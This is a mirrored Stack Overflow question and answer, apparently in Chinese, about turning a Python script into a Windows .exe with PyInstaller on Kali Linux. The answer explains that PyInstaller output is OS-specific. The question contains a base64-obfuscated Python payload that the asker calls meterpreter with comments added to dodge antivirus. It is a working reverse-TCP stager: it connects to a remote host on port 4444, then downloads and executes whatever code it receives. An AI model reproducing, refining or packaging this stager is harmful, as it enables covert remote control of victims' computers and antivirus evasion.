gpt4 book ai didi

python - 在 Linux 上将 Python 编译为 .EXE 而不是 .ELF

转载 作者:太空宇宙 更新时间:2023-11-04 05:38:26 26 4
gpt4 key购买 nike

我正在 Kali Linux 上编译 Python 代码。我想生成一个在 Windows 上运行的 .exe 文件。以下是 PyInstaller 的以下设置:

pyinstaller -F /root/Desktop/Evil_private.py -i Evil_Private.exe

代码只是带有一些注释的meterpreter,以避免防病毒检测。下面的代码是:

import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]
('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQ0KI0kgYW0gbm90IGEgc2NyaXB0IGtpZGRpZQ0KZm9yIHggaW4gcmFuZ2UoMTApOg0KCXRyeToNCgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQ0KCQlzLmNvbm5lY3QoKCcxMC4wLjAuNTQnLDQ0NDQpKQ0KCQlicmVhaw0KCWV4Y2VwdDoNCgkJdGltZS5zbGVlcCg1KQ0KbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQ0KZD1zLnJlY3YobCkNCiNOaWNlIEFOVEktViBicm8sIFdIT0FBQUENCndoaWxlIGxlbihkKTxsOg0KCWQrPXMucmVjdihsLWxlbihkKSkNCmV4ZWMoZCx7J3MnOnN9KQ0K')))

当我编译它时,我收到一个 .ELF 文件而不是 .EXE。也许我的目录错误?我不认为是这样,因为我已经检查了与 PyInstaller 相关的大多数目录。我已经阅读了PyInstaller的指南,但似乎没有用。有没有办法在 Linux 上编译 Python 代码以获得 Windows 的 .exe 文件?

最佳答案

来自the documentation :

The output of PyInstaller is specific to the active operating system and the active version of Python. This means that to prepare a distribution for:

  • a different OS
  • a different version of Python
  • a 32-bit or 64-bit OS

you run PyInstaller on that OS, under that version of Python. The Python interpreter that executes PyInstaller is part of the bundle, and it is specific to the OS and the word size.

您无法在运行 Python 的 Kali 下生成 .exe。

关于python - 在 Linux 上将 Python 编译为 .EXE 而不是 .ELF,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/46508565/

26 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com